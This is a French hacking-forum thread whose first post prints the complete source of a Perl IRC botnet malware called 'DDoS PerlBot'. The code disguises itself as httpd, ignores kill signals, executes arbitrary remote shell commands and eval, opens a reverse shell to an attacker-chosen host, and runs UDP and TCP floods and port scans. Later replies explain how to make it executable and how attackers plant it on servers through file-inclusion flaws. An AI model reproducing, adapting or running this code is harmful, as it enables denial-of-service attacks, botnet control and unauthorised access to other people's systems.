Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 13-11-2010 09:15:21

Veidam
Membre Indispensable
Lieu : us
Inscription : 11-02-2010
Messages : 530

malware linux en perl

#!/usr/bin/perl
#!cmd @help
###############################
# Si No sabes lo que editas
# Mejor deja todo en su lugar
# Procura editar solo los Sig:
# my @adms=("TUNICK");
# my @canal=("#TUCANAL"); #No hay necesidad de explicar esto
# my @SuperFlood = ("NickdelBot|"); #Esto Tampoco
# my $ircname ='apple; # Ident del Bot
# $servidor='IP ó DNS.' unless $servidor; #la IP o Nombre del Server
########################################################################
print q{
########################################################
#DDoS PerlBot, v.3.0 mod by kzt UnitedHack.com.ar - #UnitedHack
########################################################
########### Comments? [email protected] #################
########################################################
};

use HTTP::Request;
use LWP::UserAgent;
my $proceso = '/usr/sbin/httpd';

my $linas_max='3';
my $sleep='5';
my @cmdstring='http://localhost?';
my @adms=("Tu Nick");
my @canal=("#Tucanal");
my @nickname = ("Nick Prefijo del Bot (Ejemplo Worm)");
my $nick = $nickname[rand scalar @nickname];
my $ircname ='IDENTD;
chop (my $realname = `uname -a`);
$servidor='TU DNS o IP' unless $servidor;
my $puerto='6667';
my $VERSION = '4,1:7,1: 0,1 DDoS PerlBot, v.3.0 Mod by kzt7,1:4,1:';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");

$servidor="$ARGV[0]" if $ARGV[0];
$0="$proceso"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Imposible Conectar: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
    } else {
    print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
  my $minick = $_[0];
  my $servidor_con = $_[1];
  my $puerto_con = $_[2];
  my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  PeerPort=>$puerto_con) or return(1);
  if (defined($IRC_socket)) {
    $IRC_cur_socket = $IRC_socket;
    $IRC_socket->autoflush(1);
    $sel_cliente->add($IRC_socket);
    $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
    $irc_servers{$IRC_cur_socket}{'puerto'} = "$puerto_con";
    $irc_servers{$IRC_cur_socket}{'nick'} = $minick;
    $irc_servers{$IRC_cur_socket}{'miip'} = $IRC_socket->sockhost;
    nick("$minick");
    sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
    sleep 1;
  }
}

my $line_temp;
while( 1 ) {
  while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$puerto"); }
  delete($irc_servers{''}) if (defined($irc_servers{''}));
  my @ready = $sel_cliente->can_read(0);
  next unless(@ready);
  foreach $fh (@ready) {
    $IRC_cur_socket = $fh;
    $minick = $irc_servers{$IRC_cur_socket}{'nick'};
    $nread = sysread($fh, $msg, 4096);
    if ($nread == 0) {
      $sel_cliente->remove($fh);
      $fh->close;
      delete($irc_servers{$fh});
    }
    @lines = split (/\n/, $msg);
    for(my $c=0; $c<= $#lines; $c++) {

      $line = $lines[$c];
      $line=$line_temp.$line if ($line_temp);
      $line_temp='';
      $line =~ s/\r$//;
      unless ($c == $#lines) {
        parse("$line");
        } else {
        if ($#lines == 0) {
          parse("$line");
          } elsif ($lines[$c] =~ /\r$/) {
          parse("$line");
          } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
          parse("$line");
          	   } else {
          	               $line_temp = $line;
        }
      }
    }
  }
}

sub parse {
  my $servarg = shift;
  if ($servarg =~ /^PING \:(.*)/) {
    sendraw("PONG :$1");
    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
    my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
    if ($args =~ /^\001VERSION\001$/) {
      	 notice("$pn", "\001VERSION mIRC v6.17 HaCk.OrG\001");
      	 notice("$pn", "\001VERSION $VERSION \001");
      	 notice("@adms", "\001VERSION $pn Me hizo un ctcp version\001");
	 }
    if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
    if ($onde eq "$minick"){
    shell("$pn", "$args");
  }

#End of Connect


######################
#      PREFIX        #
  if ($args =~ /^(\Q$minick\E|\!cmd)\s+(.*)/ ) {
    my $natrix = $1;
    my $arg = $2;
    if ($arg =~ /^\!(.*)/) {
      ircase("$pn","$onde","$1") unless ($natrix eq "!cmd" and $arg =~ /^\!nick/);
      } elsif ($arg =~ /^\@(.*)/) {
      $ondep = $onde;
      $ondep = $pn if $onde eq $minick;
      bfunc("$ondep","$1");
      } else {
      shell("$onde", "$arg");
    }
  }
}
}
######################
#   End of PREFIX    #
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($minick)) {
  $minick=$4;
  $irc_servers{$IRC_cur_socket}{'nick'} = $minick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$minick|".int rand(999999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$minick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $minick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canal) {
  sendraw("JOIN $canal");
}
}
}

sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
  exit;
} else {

######################
#       Help         #

if ($funcarg =~ /^help/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,111,1 DDoS Perl Bot 4,1 Help");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1ddos");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1backconnect");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1shell");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1portscanner");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1Oh si deseas ver todos los comandos:");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1commands");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,111,1 DDoS Perl Bot 4,1 Help");

}

if ($funcarg =~ /^ddos/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1Existen 2 tipos de DDoS en este Bot");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1UDPFlood y TCPFlood");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1udpflood <ip> <Tamano de paquete> <tiempo>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1tcpflood <ip> <puerto> <Tamano de Paquetes> <tiempo>");

}


if ($funcarg =~ /^backconnect/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1Uso de Back Connect:");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1back <ip><port>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,111,1 DDoS Perl Bot 4,1Help");
}

if ($funcarg =~ /^shell/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1Este Bot tiene integrada Shell");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1Puedes usarla en privado y tambien en el canal");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1En canal publico estos son los comandos: 7!cmd cd tmp0,1for example");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,111,1 DDoS Perl Bot 4,1Help");

}

if ($funcarg =~ /^portscanner/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1El Port Scanner es facil de usar, estos son los comandos:");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1portscan <ip>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,111,1 DDoS Perl Bot 4,1Help");
}

if ($funcarg =~ /^commands/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1portscan <ip>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1back <ip><port>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd cd tmp 0,1por ejemplo");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1udpflood <ip> <tamano de paquete> <tiempo>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1tcpflood <ip> <puerto> <tamano de paquete> <tiempo>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1system");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1join #canal");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1part #canal");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1nick <nuevo nick>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1msg <MSG> ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1mod #canal <modo> <nick> \\ 4,1@4,1xmod <modo> 0,1(Esto pone modo seleccionado, en el Bot)");
}


#   End of  Help     #
######################

######################
#     Commands       #
if ($funcarg =~ /^system/) {
$uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1Info del BOT : 4,1 Servidor : $servidor : 6667");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1Uname -a     : 4,1 $uname");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1Uptime       : 4,1 $uptime");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1Mi Proceso   : 4,1 $proceso");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1ID           : 4,1 $id");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1pwd          : 4,1 $ownd");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1OS           : 4,1 $distro");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1Coder        : 4,1 #Hack ®");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1Channel      : 4,1 #Hack :)");
}
}
######################
#      Portscan      #

if ($funcarg =~ /^portscan (.*)/) {
  my $hostip="$1";
  my
  @puertos=("21","22","23","25","80","110","139","135","79","8080","31337","6667","6668","6669","2222","12345","3128","10000");
  my (@abierto, %puerto_banner);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Port Scan7,1:.4,1|0,1Escaneando puertos abiertos en 4,1 ".$1." 0,1Iniciado.");
  foreach my $puerto (@puertos)  {
    my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $puerto, Proto =>
    'tcp', Timeout => 4);
    if ($scansock) {
      push (@abierto, $puerto);
      $scansock->close;
    }
  }

  if (@abierto) {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Port Scan7,1:.4,1|0,1Puertos abiertos en $1 : @abierto");
    } else {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Port Scan7,1:.4,1|0,1No hay puertos abiertos en $1 .");
  }
}

#  End of  Portscan  #
######################
######################
#  Join, Part, Msg,  #
#   nick and modes.  #
           if ($funcarg =~ /^join (.*)/) {
              sendraw($IRC_cur_socket, "JOIN ".$1);
           }
           if ($funcarg =~ /^part (.*)/) {
              sendraw($IRC_cur_socket, "PART ".$1);
           }
           if ($funcarg =~ /^mod (.*)/) {
              sendraw($IRC_cur_socket, "MODE ".$1." ".$2." ".$3);
           }
           if ($funcarg =~ /^xmod (.*)/) {
              sendraw($IRC_cur_socket, "MODE $minick $1");
           }
           if ($funcarg =~ /^nick (.*)/) {
              sendraw($IRC_cur_socket, "NICK ".$1);
           }
           if ($funcarg =~ /^msg\s+(\S+) (.*)/) {
              sendraw($IRC_cur_socket, "PRIVMSG $1 :$2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16");
           }

#End of Join And Part#
######################
######################
#     TCPFlood       #
if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1TCP DDos7,1:.4,1|0,1Atacando 4,1 ".$1.":".$2." 7,1por 4,1 ".$3." 7,1segundos.");
  my $itime = time;
  my ($cur_time);
  $cur_time = time - $itime;
  while ($3>$cur_time){
  $cur_time = time - $itime;
  &tcpflooder("$1","$2","$3");
}
sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1|7,1.:4,1TCP DDos7,1:.4,1| 7,1Ataque completado 4,1 ".$1.":".$2.".");
}
#  End of TCPFlood   #
######################
######################
#   Back Connect     #
if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $puerto = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($puerto, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
  $shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
close(STDIN);
close(STDOUT);
close(STDERR);
if ($estatisticas)
{
  sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1BackConnect7,1:.4,1|0,1Conectandose a 4,1 $host:$puerto");
}
}
#End of  Back Connect#
######################
######################
#     UDPFlood       #
if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1UDP DDos7,1:.4,1|0,1Atacando 4,1 ".$1." 0,1con 4,1 ".$2." 0,1Kb Paquetes for 4,1 ".$3." 0,1segundos.");
my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1UDP DDos7,1:.4,1|0,17,1Resultados4,1 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 7,1Kb en4,1 ".$dtime." 7,1segundos a4,1 ".$1.".");
}
exit;
}
}
#  End of Udpflood   #
######################


sub ircase {
my ($kem, $printl, $case) = @_;
  if ($case =~ /^join (.*)/) {
     j("$1");
   }
   if ($case =~ /^part (.*)/) {
      p("$1");
   }
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
}
else {
p("$chan");
j("$chan");
}
}

if ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}

if ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}

if ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}

if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}

if ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}

if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}

if ($case =~ /^nick (.*)/) {
nick("$1");
}

if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}

if ($case =~ /^raw (.*)/) {
sendraw("$1");
}

if ($case =~ /^eval (.*)/) {
eval "$1";
}
}


sub shell {
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "No existe el fichero o directorio.");
return;
}

elsif ($pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) {
exit;

} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
  $c++;
  chop $linha;
  sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  if ($c == "$linas_max") {
    $c=0;
    sleep $sleep;
  }
}
exit;
}
}
}

sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname('tcp');
$j=0;$l=0;
$cur_time = time - $itime;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j--;
$j++;$l++;
}
$l=0;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
shutdown($t,2);
$l++;
}
}



sub udpflooder {
my $iaddr = inet_aton($_[0]);
my $msg = 'A' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $puerto = 1;
$puerto <= 65000; $puerto++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($puerto, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($puerto, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($puerto, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($puerto, $iaddr)) and $pacotes{tcp}++;


for (my $pc = 3;
$pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($puerto, $iaddr)) and $pacotes{o}++;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}

sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}

sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}

sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}

sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}

sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}

sub j {
&join(@_);
}

sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");

}
sub p { part(@_);
}

sub part {
sendraw("PART $_[0]");
}

sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}

sub quit {
sendraw("QUIT :$_[0]");
}

sub fetch(){
my $rnd=(int(rand(9999)));
my $n= 80;
if ($rnd<5000) { $n<<=1;}
my $s= (int(rand(10)) * $n);
}

sub os(){
my $sito=$_[0];
my $Res=query($sito);
my $type;
my $free;
my $str;
while($Res=~m/<br>OSTYPE:(.+?)\<br>/g){
$type=$1;
}
while($Res=~m/<br>Free:(.+?)\<br>/g){
$free=$1;
}
$str=$type.",".$free;
return $str;
}


sub geths(){
my $host=$_[0];
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
return $host;
}

sub key(){
my $chiave=$_[0];
$chiave =~ s/ /\+/g;
$chiave =~ s/:/\%3A/g;
$chiave =~ s/\//\%2F/g;
$chiave =~ s/&/\%26/g;
$chiave =~ s/\"/\%22/g;
$chiave =~ s/,/\%2C/g;
$chiave =~ s/\\/\%5C/g;
return $chiave;
}

sub query($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$host=~s/href=\"?http:\/\///;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}

sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
next if $visti{ $elemento }++;
push @unici, $elemento;
}
return @unici;
}

sub http_query($){
my ($url) = @_;
my $host=$url;
my $query=$url;
my $page="";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~s/$host//;
if ($query eq "") {$query="/";};
eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
};
return $page;
}

qui essaie ?

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 21-01-2011 20:46:17

skan92ii
Banni(e)
Inscription : 15-01-2011
Messages : 15

Re : malware linux en perl

pfffffffff

Hors Ligne

#3 21-01-2011 20:50:53

konik
Membre d'Or
Lieu : 127.0.0.1
Inscription : 15-12-2010
Messages : 419

Re : malware linux en perl

ca veut dire quoi pffffffff  ??????????


$! \/0(_)$ |*0uv32 1!r3 [3c!, c'357 q(_)3 v0(_)$ 4v32 vr4!|\/|3n7 83$0!n d3 |\|!qu3r

Hors Ligne

#4 21-01-2011 20:59:06

skan92ii
Banni(e)
Inscription : 15-01-2011
Messages : 15

Re : malware linux en perl

essaie et tu verra
il donne aucune explication /

Hors Ligne

#5 22-01-2011 00:00:08

konik
Membre d'Or
Lieu : 127.0.0.1
Inscription : 15-12-2010
Messages : 419

Re : malware linux en perl

skan92ii a écrit :

essaie et tu verra
il donne aucune explication /

tu veux des explications sur quoi? comment le rendre executable?
Si c'est ca ben c'est pas trés compliqué
il te faut juste créer un fichier text contenant le sript et ensuite y attribuer les droits d'executions...


$! \/0(_)$ |*0uv32 1!r3 [3c!, c'357 q(_)3 v0(_)$ 4v32 vr4!|\/|3n7 83$0!n d3 |\|!qu3r

Hors Ligne

#6 22-01-2011 00:19:21

raylook
Membre d'Or
Lieu : dans ton disque dur !!
Inscription : 13-01-2010
Messages : 449
Site Web

Re : malware linux en perl

Salut
Je suis d'accord avec skan92ii (non pas pour "le pffff" mais c'est une réponse comme une autre ^^) , un minimum d'explication sur son fonctionnement , un malware d'accord mais "on l'utilise comment" par exemple.
Pour juste afficher le code il y a  pastebin pas mal aussi smile .


fete.gif

Hors Ligne

#7 22-01-2011 00:51:05

konik
Membre d'Or
Lieu : 127.0.0.1
Inscription : 15-12-2010
Messages : 419

Re : malware linux en perl

Je suis d'accord avec toi la présentation manque un peu (beaucoup) d'infos  smile


$! \/0(_)$ |*0uv32 1!r3 [3c!, c'357 q(_)3 v0(_)$ 4v32 vr4!|\/|3n7 83$0!n d3 |\|!qu3r

Hors Ligne

#8 22-01-2011 12:27:39

coyotus
Membre Irremplaçable
Lieu : fort fort lointain
Inscription : 05-08-2010
Messages : 884

Re : malware linux en perl

je vais tester sur la machine test
je dois juste vérifier si l'edition du bot ne va pas me bannir d'irc

Dernière modification par coyotus (22-01-2011 12:28:45)


1310812721.gif

Hors Ligne

#9 30-01-2011 22:56:09

Veidam
Membre Indispensable
Lieu : us
Inscription : 11-02-2010
Messages : 530

Re : malware linux en perl

Vous me croyez si je vous dit que moi même j'ai pas tester ce code je l'ai mis ici pour vos retours désolé pour ceux qui ne savent pas l'utiliser mais comme le dit konik c simple de le rendre exécutable

je n'essaie pas tous ce que je trouve mais j'aime bien chercher des trucs original mais je ne suis pas un pro du tuto comme vous l'avez vu

méa culpa

Hors Ligne

#10 28-10-2011 19:53:44

evilcode
N00b
Inscription : 17-02-2010
Messages : 4

Re : malware linux en perl

En effet vu le code se n'est jamais simple de comprendre ce qu'il fait, donc je vous éclaire du peut que j'ai smile)

je commence par le plus simple :

use HTTP::Request;
use LWP::UserAgent;
my $proceso = '/usr/sbin/httpd'; ======> Le FAKE process 'faux processus dans le gestionaire de tache, le bot ce lance en tant que service HTTPD'

my $linas_max='3';
my $sleep='5';
my @cmdstring='http://localhost?';
my @adms=("Tu Nick");      ==============> le nick de l'ADMIN qui va le controler
my @canal=("#Tucanal");   ==================> le #chan que le bot va rejoindre une fois connecter.
my @nickname = ("Nick du bot");
my $nick = $nickname[rand scalar @nickname]; ===> generateur de nickname au cas ou le premier est pris
my $ircname ='IDENTD';  ====> ident du bot
chop (my $realname = `uname -a`); ===> information sur la box ou il tourne
$servidor='TU DNS o IP' unless $servidor; ===>  Serveur IRC ou le bot doit se connecter
my $puerto='6667';
my $VERSION = '4,1:7,1: 0,1 DDoS PerlBot, v.3.0 Mod by kzt7,1:4,1:'; ====> un /ctcp nick.du.bot info donnera cette ligne DDoS PerlBot, v.3.0 Mod by kzt


Pour faire bref et ne pas remettre tout le code une fois le bot connecter il ne répondera qu'à son ADMIN la commande : !cmd dans le chan donnera ça :

DDoS Perl Bot  Help

!cmd ddos
!cmd backconnect
!cmd shell
!cmd portscanner
Pour d'autre commandes : !cmd commands

En gros le bot sert plus pour les scanneur RFI/LFI/OSCO/XML ou autre, car une fois la faille trouver sur un serveur il suffit d'uploader le bot dessu, et de le lancer simplement, pour faire des attack Ddos/UDPflood/TCPflood, ou creer une back connection entre la cible et vous pour vous permettre une connection dessus, ou scanner les IP.

Dans la plus part des cas ces bot ne parchent pas car il leur faut un SSH pour tourner, sur un serveur web souvent les execution de bots comme cela depasse le delai d'attente du serveur.

Voila en éspérant vous avoir un peut informer, souvenez vous que dans chaque Code se trouve un autre code, donc faite gaffe avant de faire un : perl bot.pl


Hack To Learn, Not Learn To Hack !

Hors Ligne

#11 29-10-2011 09:33:10

goliate
Membre Irremplaçable
Inscription : 06-12-2009
Messages : 1 413
Site Web

Re : malware linux en perl

@evilcode merci de ton éclaircissement


só deus podem me julgar
719895banniere3.gif
só deus podem me julgar

Hors Ligne

Annonce

